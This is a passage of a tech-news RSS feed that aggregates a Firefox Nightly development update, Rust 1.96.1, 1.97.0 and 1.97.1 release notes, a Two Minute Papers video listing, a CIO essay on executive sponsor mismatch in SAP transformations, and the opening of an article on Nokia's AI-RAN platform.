<li>Henrik Skupin <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1839953">improved geckodriver to detect an early Firefox exit during startup on Android</a>, avoiding up to 60 seconds of unnecessary connection attempts.</li>
<li>Henrik Skupin updated the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028933">geckodriver CI build job to produce a universal macOS binary</a> supporting both x64 and aarch64.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Sylvestre <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023411">ported some linters</a> (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words &amp; more) to Rust to help improve the runtime of the code review bot.</li>
<li>Dale has been working on migration to moz-src for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034040">customkeys</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035086">dom/quota</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035295">odom/geolocation</a>
<ul>
<li><a href="https://arewemozsrcyet.com/">https://arewemozsrcyet.com/</a></li>
</ul>
</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
<ul>
<li>We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.</li>
</ul>
</li>
<li>Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.</li>
<li>Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!</li>
</ul>
<p><img alt="World clock widget in New Tab featuring different time zones for YTO, BER, SYD, and LAX." class="aligncenter wp-image-2079 size-full" height="162" src="https://blog.nightly.mozilla.org/files/2026/06/image3-1.png" width="346"></p>
<h4>Search and Urlbar</h4>
<ul>
<li>Nova (URL Bar Design Refresh)
<ul>
<li>Drew and Daisuke continued their work on <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015612">Nova styling for the Address bar</a> (input and view).</li>
</ul>
</li>
<li>Search and Suggest
<ul>
<li>Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035322">update the localization string for scheduled games</a> and another to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034350">show both teams’ icons in suggestions</a>. Drew also landed and uplifted a fix for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035353">rich search suggestion icons being forced into a square aspect ratio</a>.</li>
<li>Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.</li>
</ul>
</li>
<li>Settings Redesign (SRD)
<ul>
<li>Stephanie landed a test to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021512">ensure search suggestion settings are hidden when quicksuggest is disabled</a>, as well as a patch to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031341">resolve TypeScript issues</a> in search.mjs, and is adding test coverage to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2007397">confirm removed search engines are not displayed in the default engines dropdown</a>.</li>
</ul>
</li>
<li>General URL Bar and Component Updates
<ul>
<li>Daisuke landed implementation of the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1893083">context menu on URL bar results</a>, and a fix to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020177">show the loading URL in the URL bar when starting up with a homepage</a>.
<ul>
<li>Marco is working on several tasks, including a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1756564">PDF download / focus stealing issue</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1924124">allowing arrays to be bound in Sqlite.sys.mjs</a>. Marco also worked on fixes related to Places, such as <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743">avoiding replacing the favicons database if it is not corrupt</a>.</li>
</ul>
</li>
<li>Standard8 finalized the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028423">URL bar test manifest split</a>. Standard8 also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016401">upgraded us to TypeScript 6</a>.</li>
<li>Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032973">Bug 2032973</a>), which was also uplifted. Moritz also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034507">simplified search mode switcher item activation in tests</a>, and made it so that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036030">the unified search button popup closes when installing an open search engine</a>.</li>
</ul>
</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li>natural language starting with tab close/undo <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035343">2035343</a> with expandable action log <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031508">2031508</a></li>
</ul>
<p><img alt="Tab close and undo actions in Smart Window accompanied by an expandable log of actions taken" class="aligncenter wp-image-2077 size-full" height="256" src="https://blog.nightly.mozilla.org/files/2026/06/image1-1.png" width="220"></p>
<ul>
<li>assistant rendering feedback up/down <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032994">2032994</a> and markdown table <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027029">2027029</a></li>
<li>nova styling blur <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027877">2027877</a> and suggestions <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026823">2026823</a></li>
<li>accessibility screen reader <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028676">2028676</a> and keyboard focus <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037565">2037565</a></li>
<li>optimize conversation starters extra requests <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030005">2030005</a> and caching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033430">2033430</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Nova token updates occasionally, focused on SRD</li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035942">2035942</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Settings redesign is being tested and will hopefully go out in Firefox 152!</li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: Announcing Rust 1.96.1]]></title>
<description><![CDATA[The Rust team has published a new point release of Rust, 1.96.1. Rust is a programming language that is empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, getting Rust 1.96.1 is as easy as:
rustup update stable
If you don't h...]]></description>
<link>https://tsecurity.de/de/3693287/tools/the-rust-programming-language-blog-announcing-rust-1961/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693287/tools/the-rust-programming-language-blog-announcing-rust-1961/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:22 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Rust team has published a new point release of Rust, 1.96.1. Rust is a programming language that is empowering everyone to build reliable and efficient software.</p>
<p>If you have a previous version of Rust installed via rustup, getting Rust 1.96.1 is as easy as:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>rustup update stable</span></span></code></pre>
<p>If you don't have it already, you can <a href="https://www.rust-lang.org/install.html" rel="external">get <code>rustup</code></a> from the appropriate page on our website.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/30/Rust-1.96.1/#what-s-in-1-96-1"></a>
What's in 1.96.1</h3>
<p>Rust 1.96.1 fixes:</p>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17131" rel="external">Missing retries / timeouts in Cargo's HTTP client</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158214" rel="external">Miscompilation in a MIR optimization</a></li>
</ul>
<p>It also <a href="https://github.com/rust-lang/cargo/pull/17140" rel="external">fixes</a> three CVEs
affecting libssh2 (which is compiled into Cargo):</p>
<ul>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2025-15661" rel="external">CVE-2025-15661</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-55199" rel="external">CVE-2026-55199</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-55200" rel="external">CVE-2026-55200</a></li>
</ul>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/30/Rust-1.96.1/#contributors-to-1-96-1"></a>
Contributors to 1.96.1</h4>
<p>Many people came together to create Rust 1.96.1. We couldn't have done it without all of you. <a href="https://thanks.rust-lang.org/rust/1.96.1/" rel="external">Thanks!</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: Announcing Rust 1.97.0]]></title>
<description><![CDATA[The Rust team is happy to announce a new version of Rust, 1.97.0. Rust is a programming language empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, you can get 1.97.0 with:
$ rustup update stable
If you don't have it already,...]]></description>
<link>https://tsecurity.de/de/3693286/tools/the-rust-programming-language-blog-announcing-rust-1970/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693286/tools/the-rust-programming-language-blog-announcing-rust-1970/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:20 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Rust team is happy to announce a new version of Rust, 1.97.0. Rust is a programming language empowering everyone to build reliable and efficient software.</p>
<p>If you have a previous version of Rust installed via <code>rustup</code>, you can get 1.97.0 with:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>$</span><span> rustup update stable</span></span></code></pre>
<p>If you don't have it already, you can get <a href="https://www.rust-lang.org/install.html" rel="external"><code>rustup</code></a> from the appropriate page on our website, and check out the <a href="https://doc.rust-lang.org/stable/releases.html#version-1970-2026-07-09" rel="external">detailed release notes for 1.97.0</a>.</p>
<p>If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel (<code>rustup default beta</code>) or the nightly channel (<code>rustup default nightly</code>). Please <a href="https://github.com/rust-lang/rust/issues/new/choose" rel="external">report</a> any bugs you might come across!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#what-s-in-1-97-0-stable"></a>
What's in 1.97.0 stable</h3>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#symbol-mangling-v0-enabled-by-default"></a>
Symbol mangling v0 enabled by default</h4>
<p>When Rust is compiled into object files and binaries, each item (functions,
statics, etc) must have a globally unique "symbol" identifying it. To avoid
conflicts when linking together different Rust programs, Rust mangles the
original name of items to include additional context such as the module path,
defining crate, generics, and more. Historically, this mangling was based on
the <a href="https://refspecs.linuxbase.org/cxxabi-1.86.html#mangling" rel="external">Itanium ABI</a>,
also (sometimes) used by C++.</p>
<p>The new mangling scheme resolves a number of drawbacks from the previous one:</p>
<ul>
<li>Generic parameter instantiations preserve their values, rather than being tracked solely behind a hash</li>
<li>Inconsistencies: not all parts used the Itanium ABI, meaning that custom demangling was still necessary</li>
</ul>
<p>Since Rust 1.59, the compiler has supported opting into a Rust-specific
mangling scheme via <code>-Csymbol-mangling-version=v0</code>. Since November 2025, this
scheme has been enabled by default on nightly, and 1.97 is now enabling it on
stable Rust. The legacy mangling scheme can only be enabled on nightly, and the
current plan is to fully remove it.</p>
<p>See the previous <a href="https://blog.rust-lang.org/2025/11/20/switching-to-v0-mangling-on-nightly/" rel="external">blog post</a> for more details.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#cargo-support-for-denying-warnings"></a>
Cargo support for denying warnings</h4>
<p>It's common practice to deny warnings in CI. Historically, doing so is
typically done through <code>RUSTFLAGS=-Dwarnings</code>. With Rust 1.97, Cargo controls
how warnings interact with build success: either silencing them (via <code>allow</code>
level), rendering without failing (default, <code>warn</code>), or denying them (via <code>deny</code>).</p>
<p>As a  result of Cargo configuration determining the behavior, using this
feature doesn't invalidate the underlying build cache, meaning that it's easy
to temporarily opt-in. For example, if warnings are adding unwanted noise while
working through fixing errors after a refactor, you can run
<code>CARGO_BUILD_WARNINGS=allow cargo check</code>, temporarily silencing them.</p>
<p>In CI, jobs can instead set <code>CARGO_BUILD_WARNINGS=deny</code> to deny warnings. This
can be combined with <code>--keep-going</code> to collect all errors and warnings rather
than stopping on the first failing package.</p>
<p>See the <a href="https://doc.rust-lang.org/cargo/reference/config.html#buildwarnings" rel="external">documentation</a> for more details.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#linker-output-no-longer-hidden-by-default"></a>
Linker output no longer hidden by default</h4>
<p>rustc invokes a linker on behalf of users. Historically, rustc has silenced
linker output by default if the link completes successfully. This can mask real
problems, though, so in Rust 1.97 we are enabling linker messages by default.
These are emitted as a warning lint, for example:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>warning: linker stderr: ignoring deprecated linker optimization setting '1'</span></span>
<span class="giallo-l"><span>  |</span></span>
<span class="giallo-l"><span>  = note: `#[warn(linker_messages)]` on by default</span></span></code></pre>
<p>Common linker messages that have been diagnosed as false positives or intentional behavior
are filtered out by rustc. Several defects have already been fixed as a result
of no longer hiding this output on nightly.</p>
<p>Note that currently, <code>linker_messages</code> is a special lint that is <em>not</em> affected
by the <code>warnings</code> lint group. This is intentional as rustc generally doesn't
control linker output as precisely, and it's not uncommon for output to only
appear on some platforms. If you are seeing what you think is a false positive
output from the linker, please <a href="https://github.com/rust-lang/rust/issues/new/choose" rel="external">file an issue</a>.</p>
<p>To silence the warning in the mean time, you can configure the lint level to
allow. This can be done through <code>Cargo.toml</code> by adding a <a href="https://doc.rust-lang.org/nightly/cargo/reference/manifest.html#the-lints-section" rel="external">lints section</a> like this:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>[</span><span>lints</span><span>.</span><span>rust</span><span>]</span></span>
<span class="giallo-l"><span class="z-variable">linker_messages</span><span> =</span><span class="z-punctuation z-definition z-string z-string"> "</span><span class="z-string z-quoted z-string">allow</span><span class="z-punctuation z-definition z-string z-string">"</span></span></code></pre><h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#stabilized-apis"></a>
Stabilized APIs</h4>
<ul>
<li><a href="https://doc.rust-lang.org/stable/std/iter/struct.RepeatN.html#impl-Default-for-RepeatN%3CA%3E" rel="external"><code>Default for RepeatN</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/ffi/struct.FromBytesUntilNulError.html#impl-Copy-for-FromBytesUntilNulError" rel="external"><code>Copy for ffi::FromBytesUntilNulError</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/154003" rel="external"><code>Send for std::fs::File</code> on UEFI</a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.isolate_highest_one" rel="external"><code>&lt;{integer}&gt;::isolate_highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.isolate_lowest_one" rel="external"><code>&lt;{integer}&gt;::isolate_lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.highest_one" rel="external"><code>&lt;{integer}&gt;::highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.lowest_one" rel="external"><code>&lt;{integer}&gt;::lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.bit_width" rel="external"><code>&lt;{uN}&gt;::bit_width</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.isolate_highest_one" rel="external"><code>NonZero&lt;{integer}&gt;::isolate_highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.isolate_lowest_one" rel="external"><code>NonZero&lt;{integer}&gt;::isolate_lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.highest_one" rel="external"><code>NonZero&lt;{integer}&gt;::highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.lowest_one" rel="external"><code>NonZero&lt;{integer}&gt;::lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.bit_width" rel="external"><code>NonZero&lt;{uN}&gt;::bit_width</code></a></li>
</ul>
<p>These previously stable APIs are now stable in const contexts:</p>
<ul>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.char.html#method.is_control" rel="external"><code>char::is_control</code></a></li>
</ul>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#other-changes"></a>
Other changes</h4>
<p>Check out everything that changed in <a href="https://github.com/rust-lang/rust/releases/tag/1.97.0" rel="external">Rust</a>, <a href="https://doc.rust-lang.org/nightly/cargo/CHANGELOG.html#cargo-197-2026-07-09" rel="external">Cargo</a>, and <a href="https://github.com/rust-lang/rust-clippy/blob/master/CHANGELOG.md#rust-197" rel="external">Clippy</a>.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#contributors-to-1-97-0"></a>
Contributors to 1.97.0</h3>
<p>Many people came together to create Rust 1.97.0. We couldn't have done it without all of you. <a href="https://thanks.rust-lang.org/rust/1.97.0/" rel="external">Thanks!</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: Announcing Rust 1.97.1]]></title>
<description><![CDATA[The Rust team has published a new point release of Rust, 1.97.1. Rust is a programming language that is empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, getting Rust 1.97.1 is as easy as:
rustup update stable
If you don't h...]]></description>
<link>https://tsecurity.de/de/3693284/tools/the-rust-programming-language-blog-announcing-rust-1971/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693284/tools/the-rust-programming-language-blog-announcing-rust-1971/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:17 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Rust team has published a new point release of Rust, 1.97.1. Rust is a programming language that is empowering everyone to build reliable and efficient software.</p>
<p>If you have a previous version of Rust installed via rustup, getting Rust 1.97.1 is as easy as:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>rustup update stable</span></span></code></pre>
<p>If you don't have it already, you can <a href="https://www.rust-lang.org/install.html" rel="external">get <code>rustup</code></a> from the appropriate page on our website.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/#what-s-in-1-97-1"></a>
What's in 1.97.1</h3>
<p>Rust 1.97.1 fixes a <a href="https://github.com/rust-lang/rust/issues/159035" rel="external">miscompilation in an LLVM optimization</a>.</p>
<p>We have backported both an LLVM fix and a disable of the underlying change in Rust 1.97.0 of
Rust's generated IR that increased the likelihood of this happening. However,
note that the underlying miscompilation has been present since at least Rust
1.87.</p>
<p>If you'd like to help us out by testing future releases, you might consider
running your code's CI or locally using the beta channel (<code>rustup default beta</code>) or the nightly
channel (<code>rustup default nightly</code>). Please
<a href="https://github.com/rust-lang/rust/issues/new/choose" rel="external">report</a> any bugs you
might come across!</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/#contributors-to-1-97-1"></a>
Contributors to 1.97.1</h4>
<p>Many people came together to create Rust 1.97.1. We couldn't have done it without all of you. <a href="https://thanks.rust-lang.org/rust/1.97.1/" rel="external">Thanks!</a></p>]]></content:encoded>
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<title><![CDATA[Minecraft Was Missing One Brilliant Idea]]></title>
<description><![CDATA[Author: Two Minute Papers - Bewertung: 13560x - Views:210592 ❤️ Check out Lambda here and sign up for their GPU Cloud: https://lambda.ai/papers

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https://modrinth.com/mod/terrain-diffusion
https://github.com/xandergos/te...]]></description>
<link>https://tsecurity.de/de/3693237/videos/minecraft-was-missing-one-brilliant-idea/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693237/videos/minecraft-was-missing-one-brilliant-idea/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:00 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Two Minute Papers - Bewertung: 13560x - Views:210592 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/Ae9q7KsRbuI?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>❤️ Check out Lambda here and sign up for their GPU Cloud: https://lambda.ai/papers<br />
<br />
📝 The paper is available here:<br />
https://xandergos.github.io/terrain-diffusion/<br />
https://modrinth.com/mod/terrain-diffusion<br />
https://github.com/xandergos/terrain-diffusion<br />
<br />
Source video for some parts of the footage: https://www.youtube.com/watch?v=irE4tcDtUIg<br />
<br />
🙏 We would like to thank our generous Patreon supporters who make Two Minute Papers possible:<br />
Adam Bridges, Benji Rabhan, B Shang, Cameron Navor, Charles Ian Norman Venn, Christian Ahlin, Eric T, Fred R, Gordon Child, Juan Benet, Michael Tedder, Owen Skarpness, Richard Sundvall, Ryan Stankye, Shawn Becker, Steef, Taras Bobrovytsky, Tazaur Sagenclaw, Tybie Fitzhugh, Ueli Gallizzi<br/></p>]]></content:encoded>
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<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Fri, 24 Jul 2026 11:03:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]></title>
<description><![CDATA[Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity...]]></description>
<link>https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</guid>
<pubDate>Fri, 24 Jul 2026 10:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.</p>



<p class="wp-block-paragraph">With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.</p>



